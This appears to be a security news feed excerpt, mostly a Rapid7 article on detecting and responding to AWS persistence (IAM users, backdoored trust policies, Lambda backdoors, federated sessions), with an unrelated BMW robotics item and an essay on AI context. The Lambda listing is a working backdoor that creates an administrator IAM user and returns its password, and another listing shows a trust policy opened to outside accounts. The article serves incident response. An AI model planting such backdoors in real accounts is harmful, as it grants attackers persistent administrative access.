<p><span><span>Figure 10: Verification of Cloud Armor blocking Remote Code execution, resulting in a 403 forbidden</span></span></p></div>
<div class="block-paragraph_advanced"><h4><span>Serverless Architecture Controls</span></h4>
<p><span>Hardening Cloud Run services is only one part of a secure architecture. Because these services often connect to other Google Cloud resources, a single compromise can expose additional services. Implementing defense-in-depth is critical. Specifically, when using direct VPC egress or VPC Access connectors, use VPC Service Controls to restrict lateral movement and exfiltration through granular access policies.</span></p>
<h4><span>Secure Software Development Lifecycle (S-SDLC)</span></h4>
<p><span>While the previously outlined hardening strategies are critical, the ideal standard remains the proactive identification of vulnerabilities during the initial development stages. A deep dive into "Shift-Left" security is beyond the scope of this analysis, which focuses on mitigating risks within existing code. However, a Secure Software Development Lifecycle (S-SDLC) remains a fundamental principle. Robust code validation and continuous security testing are essential to neutralize threats before serverless functions are published externally.</span></p>
<h4><span>Cloud Run Threat Detection</span></h4>
<p><span>Beyond the hardening recommendations outlined in this post, </span><a href="https://cloud.google.com/security/products/security-command-center"><span>Google Cloud Security Command Center (SCC)</span></a><span> provides built-in services to detect control plane attacks against Cloud Run resources. These include detectors for credential access, reconnaissance, and the execution of scripts or reverse shells. The </span><a href="https://docs.cloud.google.com/security-command-center/docs/cloud-run-threat-detection-overview"><span>Cloud Run Threat Detection</span></a><span> service is available for Premium and Enterprise tiers.</span></p>
<h3><span>Conclusion</span></h3>
<p><span>Serverless applications drive agility and rapid business value. While "vibe-coding" has made it easier than ever to deploy code, this breakneck speed demands that teams integrate security early in the development lifecycle, move beyond default configurations, and prioritize a defense-in-depth strategy centered on identity and architecture. </span></p>
<h3><span>Acknowledgements</span></h3>
<p><span>This analysis would not have been possible without the assistance of Ischa Rijff, Phil Pearce, and Juraj Sucik.</span></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Investigating Persistence Mechanisms in AWS]]></title>
<description><![CDATA[OverviewIn the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn't have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds...]]></description>
<link>https://tsecurity.de/de/3670806/it-security-nachrichten/investigating-persistence-mechanisms-in-aws/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670806/it-security-nachrichten/investigating-persistence-mechanisms-in-aws/</guid>
<pubDate>Wed, 15 Jul 2026 15:23:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Overview</h2><p>In the cloud, your infrastructure may be short-lived, but an attacker’s persistence doesn't have to be. While your environment scales and changes in seconds, adversaries are embedding themselves into your IAM policies, Lambda functions, and federated sessions, creating invisible footholds that survive long after you believe an incident is closed.</p><p>Persistence in AWS is not just a technical oversight; it is a fundamental business risk. If you cannot see how an attacker has rooted themselves in your environment, you cannot contain them. This article moves beyond theory to provide the critical detection logic, investigation workflows, and actionable response steps required to hunt down hidden persistence and reclaim your AWS environment. This reference enables Rapid7 InsightIDR customers to investigate and understand AWS alert behaviors.</p><h2>Persistence technique: IAM user</h2><p><span>One of the most common persistence techniques is maintaining access by creating or modifying Identity and Access Management (IAM) users. An attacker can issue the </span><span><span data-type="inlineCode">iam:CreateUser</span></span><span> API call to create a new IAM user. In addition to establishing persistence, threat actors may use this API call to create a separate user for each collaborator, allowing them to divide work and perform activities independently.</span></p><p><span>During incident investigations, we have observed that malicious </span><span><span data-type="inlineCode">iam:CreateUser</span></span><span> actions are usually simple and often include only the </span><span><span data-type="inlineCode">userName</span></span><span> of the newly created user. Example request and response parameters for this API call are shown in Listing 1, where an attacker creates a new IAM user named </span><span><span data-type="inlineCode">malicious-user</span></span><span><em>.</em></span></p><p></p><pre language="json">   "requestParameters": {
      "userName": "malicious-user"
    },
    "responseElements": {
      "user": {
        "path": "/",
        "userName": "malicious-user",
        "userId": "AIDAS7R4L4RPRYBWCIXXX",
        "arn": "arn:aws:iam::123456789012:user/malicious-user",
        "createDate": "Mar 9, 2026, 9:16:35 AM"
      }
    },</pre><p><span><em>Listing 1: Example request and response parameters of the </em></span><span><span data-type="inlineCode"><em>iam:CreateUser</em></span></span><span><em> API call</em></span></p><p><span><em></em></span></p><p><span>Creating an IAM user does not, by itself, provide threat actors with a particularly effective persistence mechanism, because the newly created user has no credentials for authentication and no identity-based policies assigned. Therefore, several follow-up actions usually occur. These actions typically focus on adding credentials and assigning permissions to the newly created user. Specific examples include:</span></p><h4><span>Credential addition:</span></h4><ul><li><p><span><span data-type="inlineCode">iam:CreateAccessKey</span></span><span> — Creates a long-term credential for the target IAM user. This may also be used for lateral movement when the source user differs from the target user.</span></p></li><li><p><span><span data-type="inlineCode">iam:CreateConsoleProfile</span></span><span><strong> </strong></span><span>— Creates credentials that allow the user to authenticate through the AWS Console interface. Like the previous API call, this may also be used for lateral movement when performed on a different IAM user.</span></p></li></ul><h4><span>Permission addition:</span></h4><ul><li><p><span><span data-type="inlineCode">iam:AttachUserPolicy</span></span><span> — Attaches the specified managed policy to the user.</span></p></li><li><p><span><span data-type="inlineCode">iam:PutUserPolicy</span></span><span> — Adds or updates an inline policy document embedded in the specified IAM user.</span></p></li><li><p><span><span data-type="inlineCode">iam:AddUserToGroup</span></span><span> — Adds the user to the specified group.</span></p></li></ul><p><span>All of these API calls use standardized request parameters, which makes it possible to investigate actions performed on the newly created user with the following LEQL query:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user")</pre><p><span><em>Listing 2: LEQL query for investigating actions performed on an IAM user</em></span></p><p><span><em></em></span></p><p><span>Excluding the source user who originally created the malicious IAM user can help reveal other compromised accounts involved in the activity.</span></p><p><span>To get an overview of the most important actions performed on the malicious entity, the following query can be used:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_json.requestParameters.userName = "malicious-user" and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"] and source_json.errorCode != /.+/)groupby(source_json.userIdentity.arn, source_json.eventName)</pre><p><span><em>Listing 3: LEQL query to get an overview of the most important actions performed on the user</em></span></p><p><span><em></em></span></p><p><span>The query in Listing 3 displays a table of successful actions performed by user identities targeting the compromised user. It filters out common read operations that may occur regularly in the environment and also excludes unsuccessful actions.</span></p><p><span>InsightIDR parses the source user into a separate field, which makes it easy to examine all actions performed by IAM users. To get a list of actions performed by the newly created IAM user, the following LEQL query can be used:</span></p><p></p><pre language="html">where(service="cloudtrail" and source_account = "malicious-user")groupby(source_json.eventName)</pre><p><span><em>Listing 4: LEQL query for actions performed by the user</em></span></p><h3>Recommended steps for newly created IAM users</h3><p><span>When investigating and remediating persistence involving newly created IAM users, Rapid7 recommends the following steps:</span></p><ul><li><p><span>Review the actions performed by both the newly created IAM user and the user that initiated its creation to understand the scope and intent of the activity.</span></p></li><li><p><span>Examine authentication activity for unusual locations or patterns, and identify any additional resources that may have been accessed by the same threat actor.</span></p></li><li><p><span>Where possible, apply a deny-all IAM policy to all compromised entities to immediately prevent further malicious actions.</span></p></li><li><p><span>Rotate credentials for all compromised accounts to prevent further unauthorized access.</span></p></li><li><p><span>Remove any unknown or unauthorized IAM users to fully remediate persistence.</span></p></li></ul><h2>Persistence technique: Modifying assume role policies</h2><p><span>An IAM role is an entity that has specific permissions that can be assumed to whoever needs it and has necessary permissions to do so. Roles are intended to provide access to resources to users, applications, and services that normally don’t have access to the required AWS resources. Unlike IAM users, roles do not have long-term access keys so they provide only short-term credentials when they are assumed.</span></p><p><span>During an attack, threat actors can establish persistence by modifying a role's assume role policy. By altering this policy, they can allow users from an attacker-controlled AWS account to assume the role within the victim’s account.This form of persistence can be achieved by creating a fresh new role using </span><span><span data-type="inlineCode">iam:CreateRole</span></span><span> with already backdoored assume role policy, or via editing an assume role policy that already exists using </span><span><span data-type="inlineCode">iam:UpdateAssumeRolePolicy</span></span><span> API call. Listing 5 shows an example of an assumed role policy document that allows access from external AWS accounts.</span></p><p></p><pre language="json">{
    "Version": "2012-10-17",
    "Id": "...",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::111111111111:root"
            },
            "Action": "sts:AssumeRole"
        },
        {
            "Sid": "Statement2",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::222222222222:root"
            },
            "Action": "sts:AssumeRole"
        }
    ]
}

</pre><p><span><em>Listing 5: Assume role policy allows external access</em></span></p><p></p><p><span>The document contains two external account IDs, </span><span><span data-type="inlineCode">111111111111</span></span><span> and </span><span><span data-type="inlineCode">222222222222</span></span><span>, and allows anyone with necessary permissions in the attacker's account to assume the role.</span></p><p><span>In addition to investigating the user who performed the action to confirm its compromise, there are additional queries that could reveal other potentially malicious activity. The LEQL query in Listing 6 shows all actions performed on the </span><span><span data-type="inlineCode">malicious-role</span></span><span> that has a suspicious assume role policy statement. The query also filters our common noise in AWS environments.</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.requestParameters.roleName = "malicious-role" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "access-analyzer.amazonaws.com"])</pre><p><span><em>Listing 6: LEQL query to show actions performed on the suspicious role</em></span></p><p></p><p><span>When this persistence technique is observed, it’s recommended to search for activity originating from malicious accounts. When </span><span><span data-type="inlineCode">iam:AssumeRole</span></span><span> action is observed, the returned temporary key can be extracted and its associated activity can be further examined.</span></p><p><span></span></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.accountId IN ["111111111111", "222222222222"])</pre><p><span><em>Listing 7: LEQL query showing actions from the suspicious AWS accounts</em></span></p><p></p><p><span>Also, it’s recommended to search for other potentially backdoored policies that may have been created within the environment. The LEQL query in Listing 8 shows a table of principal IDs that wrote the previously identified malicious AWS accounts into specific roles.</span></p><p></p><pre language="html">where(service = "cloudtrail"  and source_json.eventName IIN ["CreateRole", "UpdateAssumeRolePolicy"] and source_json.eventSource = NOCASE("iam.amazonaws.com") and source_json.requestParameters.assumeRolePolicy, source_json.requestParameters.policyDocument ICONTAINS-ANY ["111111111111", "222222222222"])groupby(source_json.userIdentity.principalId, source_json.requestParameters.roleName)</pre><p><span><em>Listing 8: LEQL query showing roles with assume role referring to the suspicious AWS accounts</em></span></p><h2>Persistence technique: Lambda abuse</h2><p><span>AWS Lambda is a serverless compute service that allows users to execute code without managing servers. Lambda functions contain code that can be triggered by various AWS services, such as API Gateway, CodeCommit, Config, and others.</span></p><p><span>Threat actors may abuse Lambda functions to upload malicious code that maintains access to the environment when invoked. The code inside a Lambda function can perform any operation, as long as the function has the necessary permissions assigned to it. However, a common malicious use case is provisioning new privileged IAM users.</span></p><p></p><pre language="python">import string
import boto3
import uuid
import json
import random

def lambda_handler(event, context):
    iam = boto3.client('iam')

    user_name = f"user-{uuid.uuid4().hex[:8]}"
    password = ''.join(random.choices(string.ascii_letters + string.digits + string.punctuation, k=10))

    try:
        response = iam.create_user(UserName=user_name)
        print(f"User {user_name} created successfully")

        iam.create_login_profile(
            UserName=user_name,
            Password=password,
            PasswordResetRequired=False
        )

        iam.attach_user_policy(
            UserName=user_name,
            PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
        )

        account_id = context.invoked_function_arn.split(":")[4]
        iam_login_url = f"https://{account_id}.signin.aws.amazon.com/console"

        return {
            'statusCode': 200,
            'body': json.dumps({
                'message': f'User {user_name} created successfully',
                'login_url': iam_login_url,
                'username': user_name,
                'password': password
            })
        }
    except Exception as e:
        return {
            'statusCode': 500,
            'body': json.dumps({'error': error_message})
        }</pre><p><span><em>Listing 9: Backdoor Python Lambda code</em></span></p><p></p><p><span>The code in Listing 5 creates a new IAM user with a login profile and attaches the AdministratorAccess policy to it. The login credentials are returned to the attacker in the response from the Lambda function. To execute, the Lambda function must be triggered. Threat actors may create various triggers depending on how the malicious code operates. In scenarios like the example above, the Lambda function is usually assigned a public URL that a threat actor can call to invoke it.</span></p><p><span>One way the function can be invoked via a public URL is by using the </span><span><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span></span><span> and </span><span><span data-type="inlineCode">lambda:AddPermission</span></span><span> sequence. The </span><span><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span></span><span> API call takes the function name as an argument and returns the function URL. This URL can then be used by threat actors to invoke the function. The second API call, </span><span><em><span data-type="inlineCode">lambda:AddPermission</span></em></span><span>, assigns permission that allows the function to be invoked from the URL.</span></p><p>    </p><pre language="html">"requestParameters": {
      "functionName": "backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    },
    "responseElements": {
      "functionUrl": "https://uniqueaddress.lambda-url.us-east-1.on.aws/",
      "functionArn": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_function",
      "authType": "NONE",
      "cors": {
        "allowHeaders": [
          "*"
        ], 
        "allowMethods": [
          "GET",
          "POST"
        ], 
        "allowOrigins": [
          "*"
        ] 
      }
    }</pre><p><em>Listing 10: Example request and response elements of the </em><span data-type="inlineCode">lambda:CreateFunctionUrlConfig</span><em> function<br></em><em><br></em><span>Another way to trigger a Lambda function via a URL is to create an API Gateway endpoint and use </span><span><span data-type="inlineCode">apigateway:CreateIntegration</span></span><span> or </span><span><span data-type="inlineCode">apigateway:PutIntegration</span></span><span> to set the destination to a Lambda function. The action logged in Listing 7 creates an integration to trigger version 1 of a Lambda function named </span><span><span data-type="inlineCode">backdoor_lambda_function</span></span><span>. When investigating, it is important to check the content of the version of the Lambda function being triggered, as there may be legitimate-looking code in later versions used to hide malicious code.</span></p><p></p><pre language="html">  "eventSource": "apigateway.amazonaws.com",
    "eventName": "CreateIntegration",
    "awsRegion": "us-east-1",
    "requestParameters": {
      "integrationMethod": "GET",
      "integrationType": "AWS_PROXY",
      "payloadFormatVersion": "2.0",
      "integrationUri": "arn:aws:lambda:us-east-1:123456789012:function:backdoor_lambda_function:1",
      "apiId": "xxxxxxx"
    },</pre><p><em>Listing 11: Part of </em><span data-type="inlineCode">apigateway:CreateIntegration</span><em> CloudTrail log</em></p><p></p><p><span>There are various other ways the backdoor function may be implemented. For example, threat actors may use </span><span><span data-type="inlineCode">events:PutRule</span></span><span> to set up event-driven execution and then use </span><span><span data-type="inlineCode">events:PutTargets</span></span><span> to assign the Lambda function as a target. The function may then establish a backdoor and send credentials to attacker-controlled C2 servers.</span></p><h3>Suspicious Lambda function activity: Next steps</h3><p><span>This section contains recommended actions and investigation steps to take whenever InsightIDR highlights activity originating from a Lambda function as suspicious. During investigations, focus on answering the following questions:</span></p><ul><li><p><span>Is the Lambda function known and authorized?</span></p></li><li><p><span>What code invoked the suspicious activity?</span></p></li><li><p><span>Who created the Lambda function?</span></p></li><li><p><span>How was the Lambda function triggered?</span></p></li><li><p><span>What actions were performed by the function?</span></p></li></ul><p><span>The LEQL query shown in Listing 12 provides an example that displays successful actions performed by a Lambda function named </span><span><span data-type="inlineCode">malicious-function</span></span><span>, grouped by event source.</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn ICONTAINS "/malicious-function" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 12: LEQL query showing an overview of actions performed by the Lambda function</em></p><p></p><p><span>Malicious activity performed by Lambda functions can originate from malicious code within the function or from the exploitation of a legitimate application. If malicious code is identified, the user who inserted it is likely to be compromised as well. The query in Listing 9 displays principal IDs and their associated API calls affecting the Lambda function, including the techniques described in this section and function invocation events (</span><span><span data-type="inlineCode">lambda:Invoke</span></span><span> API call).</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.requestParameters.functionName,source_json.requestParameters.putIntegrationInput.uri, source_json.requestParameters.integrationUri, source_json.requestParameters.targets.arn ICONTAINS "malicious-function" and not source_json.userIdentity.invokedBy IIN ["resource-explorer-2.amazonaws.com", "config.amazonaws.com"])groupby(source_json.userIdentity.principalId, source_json.eventSource, source_json.eventName)</pre><p><em>Listing 13: LEQL query showing actions performed on the Lambda function</em></p><h2>Persistence technique: Federated user session creation</h2><p><span>Threat actors may use the Security Token Service (STS) API call to create a federated user session and maintain access to an AWS environment even after some standard containment actions have been completed. GetFederationToken returns a set of temporary security credentials for a federated user principal. The API call must be made using long-term IAM user credentials, which means activity from a federated user should always be investigated together with the IAM user that created the session.</span></p><p><span>This technique is especially important during incident response because disabling or deleting the original access key does not automatically invalidate temporary credentials that have already been issued. Those credentials remain usable until they expire, unless their effective permissions are blocked. As a result, responders should treat the federated session as a separate active identity and investigate both the session activity and the source IAM user activity.</span></p><p><span>The effective permissions of a federated user are based on the permissions available to the IAM user that requested the token and any session policies passed in the </span><span><span data-type="inlineCode">GetFederationToken</span></span><span> request. A session policy cannot grant permissions that the source IAM user does not already have. However, if the compromised IAM user is highly privileged, the resulting federated session may still provide broad access to the environment.</span></p><p><span>When InsightIDR alerts on suspicious activity performed by a federated user, the userIdentity field in CloudTrail may look similar to the example below:</span></p><p></p><pre language="json">"userIdentity": {
  "type": "FederatedUser",
  "principalId": "123456789012:None",
  "arn": "arn:aws:sts::123456789012:federated-user/None",
  "accountId": "123456789012",
  "accessKeyId": "ASIAS8T6L4RPJJGXXXX",
  "sessionContext": {
    "sessionIssuer": {
      "type": "IAMUser",
      "principalId": "AIDAIT67N6AB4IH6XXXXX",
      "arn": "arn:aws:iam::123456789012:user/compromisedUser",
      "accountId": "123456789012",
      "userName": "compromised_user"
    },
    "attributes": {
      "creationDate": "2026-04-11T09:13:11Z",
      "mfaAuthenticated": "false"
    }
  }
},</pre><p>Listing 13: <span data-type="inlineCode">userIdentity</span> field of an event performed by a federated user</p><p></p><p><span>In this example, the federated user name is </span><span><span data-type="inlineCode">None</span></span><span>, which comes from the name parameter supplied to STS. The </span><span><span data-type="inlineCode">sessionContext.sessionIssuer</span></span><span> field identifies the IAM user that created the federated session. This is the most important pivot point during the investigation because the source IAM user is likely to be compromised.</span></p><p><span>To review successful actions performed by the federated user, defenders can use the following LEQL query:</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/)groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 15: LEQL query showing all successful actions performed by the federated user</em></p><p></p><p><span>To focus on higher-signal activity, defenders can exclude common enumeration actions:</span></p><p></p><pre language="html">where(service = "cloudtrail" and source_json.userIdentity.arn = "arn:aws:sts::123456789012:federated-user/None" and source_json.errorCode != /.+/ and not source_json.eventName ISTARTS-WITH-ANY ["Get", "List", "Describe"])groupby(source_json.eventSource, source_json.eventName)</pre><p><em>Listing 16: LEQL query showing successful non-enumeration actions performed by the federated user</em></p><p><span></span></p><p><span>When reviewing actions performed by federated users, pay close attention to activity involving IAM, CloudTrail, GuardDuty, Organizations, KMS, Secrets Manager, S3, Lambda, and EC2. IAM activity is particularly important. Federated user credentials cannot call IAM APIs via AWS CLI and AWS API, but this limitation does not apply to AWS Management Console sessions. Therefore, successful IAM activity associated with a federated user may indicate that the threat actor generated console access by using the </span><span><span data-type="inlineCode">signin:GetSigninToken</span></span><span> and </span><span><span data-type="inlineCode">signin:ConsoleLogin</span></span><span> API sequence.</span></p><p><span>Defenders can review </span><span><span data-type="inlineCode">sts:GetFederationToken</span></span><span> calls to review federated tokens creations performed by the source user. The API calls may be further scoped down by adding </span><span><span data-type="inlineCode">source_json.responseElements.credentials.accessKeyId = “malicious_access_key”</span></span><span>, which will display the exact API call that was used to obtain the temporary token. This may be useful when determining Initial Access Vector, as the API call may contain the initially leaked long-term credentials.</span></p><p></p><pre language="html">where(service = "cloudtrail" and action = "GetFederationToken" and source_json.eventSource = "sts.amazonaws.com" and source_json.requestParameters.name = "None" and source_json.userIdentity.userName = "compromised_user")</pre><p><em>Listing 17: LEQL query showing the </em><span data-type="inlineCode">GetFederationToken</span><em> event that created the federated user credentials</em></p><p><span></span></p><p><span>During the investigation, responders should focus on answering the following questions:</span></p><ul><li><p><span>Which IAM user created the federated session?</span></p></li><li><p><span>What actions did the federated user perform after the token was issued?</span></p></li><li><p><span>Did the actor use the federated session to access the AWS Management Console?</span></p></li><li><p><span>Did the federated user create or modify additional persistence mechanisms?</span></p></li><li><p><span>What other suspicious activities were performed?</span></p></li></ul><p><span>When compromise is confirmed, Rapid7 recommends the following steps:</span></p><ul><li><p><span>Apply a deny-all policy to the IAM user that created the federated session. Keep the deny in place until the federated credentials have expired.</span></p></li><li><p><span>Rotate or delete all affected access keys associated with the compromised IAM user.</span></p></li><li><p><span>Remove any additional persistence that might have been created.</span></p></li></ul><h2>Summary</h2><p><span>AWS persistence often relies on abusing legitimate identity and automation features such as IAM users, access keys, assume role policies, Lambda functions, and federated user sessions. Many malicious activities are made possible by overly permissive policies, so organizations should regularly review IAM permissions, trust policies, and resource-based policies, and use Service Control Policies to enforce preventative guardrails across AWS accounts.</span></p><p><span>Effective detection and response requires pivoting from the alerted activity to related identities, credentials, sessions, policies, and resources to determine whether additional persistence exists. Rapid7 MDR provides comprehensive detection and incident response services to help organizations identify suspicious AWS activity, contain compromised identities, and harden cloud environments against repeat abuse.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[BMW elevates its AI humanoid robot strategy to include logistics]]></title>
<description><![CDATA[When people hear the term artificial intelligence, they usually think of chatbots or data analysis. But at BMW’s Spartanburg plant in the US, AI is now getting hands, legs, and eyes. Under the term physical AI, the automaker is integrating the new humanoid AI robt Figure 03 into its production lo...]]></description>
<link>https://tsecurity.de/de/3670176/it-security-nachrichten/bmw-elevates-its-ai-humanoid-robot-strategy-to-include-logistics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670176/it-security-nachrichten/bmw-elevates-its-ai-humanoid-robot-strategy-to-include-logistics/</guid>
<pubDate>Wed, 15 Jul 2026 11:35:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When people hear the term <em>artificial intelligence</em>, they usually think of chatbots or data analysis. But at BMW’s Spartanburg plant in the US, AI is now getting hands, legs, and eyes. Under the term <em>physical AI</em>, the automaker is integrating the new humanoid AI robt Figure 03 into its production logistics.</p>



<p class="wp-block-paragraph">The move comes as no surprise: For almost a year, <a href="https://www.cio.de/article/3699238/bmw-testet-naechste-generation-humanoider-roboter.html?utm=hybrid_search">BMW had the predecessor (Figure 02)</a> welding body parts for more than 30,000 vehicles. The conclusion of this practical test: The machines can precisely perform monotonous, heavy tasks. Now the technology is leaving the testing phase and moving to where things get highly complex: logistics.</p>



<h2 class="wp-block-heading">The task: Transform chaos into order</h2>



<p class="wp-block-paragraph">While its predecessor simply lifted sheets of metal, the further enhanced Figure 03 has to solve cognitive and tactile tasks. In logistics, it picks unsorted components from large boxes and sorts them into carts in the exact required order. Automated transport systems then take over, carrying them to the assembly line.</p>



<p class="wp-block-paragraph">To achieve this, the manufacturer has upgraded Figure AI. The new robot has:</p>



<ul class="wp-block-list">
<li>Cameras and tactile sensors directly in the palms of the hands for greater sensitivity</li>



<li>Audio functions for true speech-to-speech communication in the factory hall</li>



<li>Wireless charging for continuous, autonomous operation</li>



<li>Softer components to increase safety for human colleagues</li>
</ul>



<p class="wp-block-paragraph">At first glance, a humanoid robot might seem like a project solely for the production manager. That’s a misconception. This use case is relevant for everyone, and is highly relevant for CIOs. Figure 03 is ultimately nothing other than a highly complex, mobile edge client that has to process large amounts of data (video, audio, sensor data) locally and in real-time.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/06/BMW-humanoider-Roboter-Figure-03_.png?w=1024" alt="BMW, humanoider Roboter Figure 03, Spartanburg" class="wp-image-4190512" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">These advanced robots, equipped with new capabilities, are taking on new tasks.</figcaption></figure><p class="imageCredit">BMW AG</p></div>



<p class="wp-block-paragraph">BMW is demonstrating in Spartanburg that such a robot works, but only in a fully digitized ecosystem like an automotive plant. This means that the IT department is the enabler for the production environment of the future.</p>



<ol start="1" class="wp-block-list">
<li><strong>Virtual twins:</strong> Even before the first robot touches a box, BMW simulates Hall 52 and all movement sequences in a 3D “Virtual Factory.” IT provides the planning basis.</li>



<li><strong>AI Quality Control (AIQX):</strong> Error detection is performed using cameras and microphones along the production line. The algorithms perform visual and audible checks and send the feedback directly to the smart devices of human colleagues.</li>



<li><strong>Infrastructure scaling:</strong> When robots communicate via voice, charge wirelessly, and interact with autonomous transporters, the WLAN, 5G, and network backbone in the factory must have low latency and be fail-safe.</li>
</ol>



<p class="wp-block-paragraph">On the one hand, the humanoid robot relieves BMW factory workers of physically demanding work; on the other hand, it forces the IT department to merge traditional IT infrastructure and factory technology (OT). “Physical AI” has thus arrived in everyday industrial practice.</p>
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<title><![CDATA[Context is becoming AI’s most misunderstood word]]></title>
<description><![CDATA[If you spend enough time in Silicon Valley AI circles, you’ll hear the same message over and over again: AI needs context.



The statement is broadly true. The problem is that “context” has become one of the least precise terms in the industry.



Depending on who is using it, context can mean d...]]></description>
<link>https://tsecurity.de/de/3670110/it-security-nachrichten/context-is-becoming-ais-most-misunderstood-word/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670110/it-security-nachrichten/context-is-becoming-ais-most-misunderstood-word/</guid>
<pubDate>Wed, 15 Jul 2026 11:08:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">If you spend enough time in Silicon Valley AI circles, you’ll hear the same message over and over again: AI needs context.</p>



<p class="wp-block-paragraph">The statement is broadly true. The problem is that “context” has become one of the least precise terms in the industry.</p>



<p class="wp-block-paragraph">Depending on who is using it, context can mean documents, dashboards, reports, metadata, business rules, policies, transaction histories, CRM records, knowledge bases or institutional expertise. The word has become a catch-all for virtually any information that might be made available to a model.</p>



<p class="wp-block-paragraph">As a result, many organizations have started treating context as a volume problem. Conversations quickly turn to larger context windows, additional data sources and broader system access, while far less attention goes toward determining whether that information actually improves the quality of the outcome.</p>



<p class="wp-block-paragraph">What we’re seeing in practice suggests a different way of thinking about the problem. The organizations making the most progress with enterprise AI are not necessarily the ones exposing the largest amount of information to their systems. They are the ones spending the most time understanding which information should influence a decision, which information should not and how to ensure that business logic is applied consistently.</p>



<p class="wp-block-paragraph">That distinction matters because the industry is beginning to repeat a mistake enterprises already made once before.</p>



<h2 class="wp-block-heading"><a></a>Context has become the new ‘big data’</h2>



<p class="wp-block-paragraph">For much of the last two decades, organizations operated under the assumption that collecting more data would naturally produce better decisions. Massive investments were made in data warehouses, reporting platforms, analytics systems and business intelligence tools. Those investments created tremendous value, but they also exposed an important reality: Collecting information and creating clarity are not the same thing.</p>



<p class="wp-block-paragraph">Today, AI is heading down a similar path.</p>



<p class="wp-block-paragraph">Many enterprise AI projects measure progress by counting how much information a model can access. More documents become better than fewer documents. More systems become better than fewer systems. Larger context windows become better than smaller ones. The conversation often assumes that quantity and quality move together.</p>



<p class="wp-block-paragraph">Well, they don’t.</p>



<p class="wp-block-paragraph">According to<a href="https://www.salesforce.com/resources/research-reports/state-of-data-and-analytics/?utm_source=chatgpt.com"> </a><a href="https://www.salesforce.com/resources/research-reports/state-of-data-and-analytics/?utm_source=chatgpt.com">Salesforce research</a>, only 35% of business leaders say they are completely satisfied with their organization’s ability to use data effectively despite years of investment in data infrastructure and analytics. Enterprises learned long ago that information alone does not create understanding. The same lesson applies to AI.</p>



<p class="wp-block-paragraph">When a model gains access to five versions of the same metric, conflicting definitions of a business process or documentation that has not been updated in years, it does not magically resolve those inconsistencies. It consumes them. More context can just as easily increase ambiguity as reduce it.</p>



<p class="wp-block-paragraph">Simply exposing more information to a model does not guarantee better outcomes. What matters is whether the information available to the system helps it make the right decision at the right time.</p>



<h2 class="wp-block-heading"><a></a>Most AI failures are actually context failures</h2>



<p class="wp-block-paragraph">One of the more interesting things we’ve observed over the past year is how many AI projects are blamed for problems that have very little to do with AI.</p>



<p class="wp-block-paragraph">The model answers a question incorrectly, and the immediate assumption is that the model failed. In reality, the underlying issue often sits elsewhere. The organization may have multiple definitions of the metric being requested. Customer information may exist across several systems with conflicting values. Business rules may be documented in one location, partially implemented in another and understood differently by different teams.</p>



<p class="wp-block-paragraph">In many deployments, the issue is not that the AI lacks information. The issue is that it has access to several competing versions of the truth.</p>



<p class="wp-block-paragraph">Anyone who has worked inside a large enterprise will recognize the pattern. Revenue means one thing to finance and something slightly different to sales. Product usage metrics evolve over time. Operational processes change while documentation remains frozen. Human employees learn how to navigate these inconsistencies through experience and institutional knowledge. AI systems inherit them immediately.</p>



<p class="wp-block-paragraph">This is why the conversation around context often misses the point. The challenge is not simply providing more information. The challenge is determining which information should be trusted, how conflicts should be resolved and what business logic should govern the final answer.</p>



<p class="wp-block-paragraph">A single trusted source can be more valuable than a hundred loosely connected ones. A clearly defined rule can be more useful than thousands of pages of documentation. The quality of the context matters far more than the volume.</p>



<h2 class="wp-block-heading"><a></a>Access does not create trust</h2>



<p class="wp-block-paragraph">Many organizations can tell you exactly how their AI systems retrieve information. They can explain retrieval pipelines, vector databases, ranking systems, semantic search architectures and context windows in extraordinary detail.</p>



<p class="wp-block-paragraph">Far fewer can explain how they determine whether the answers produced are consistently correct.</p>



<p class="wp-block-paragraph">That gap becomes especially important in enterprise environments where the cost of an incorrect answer can be substantial. A sales leader making a forecast, a finance team evaluating performance or an operations executive making a resource allocation decision does not care how many documents were retrieved. They care whether the answer is right.</p>



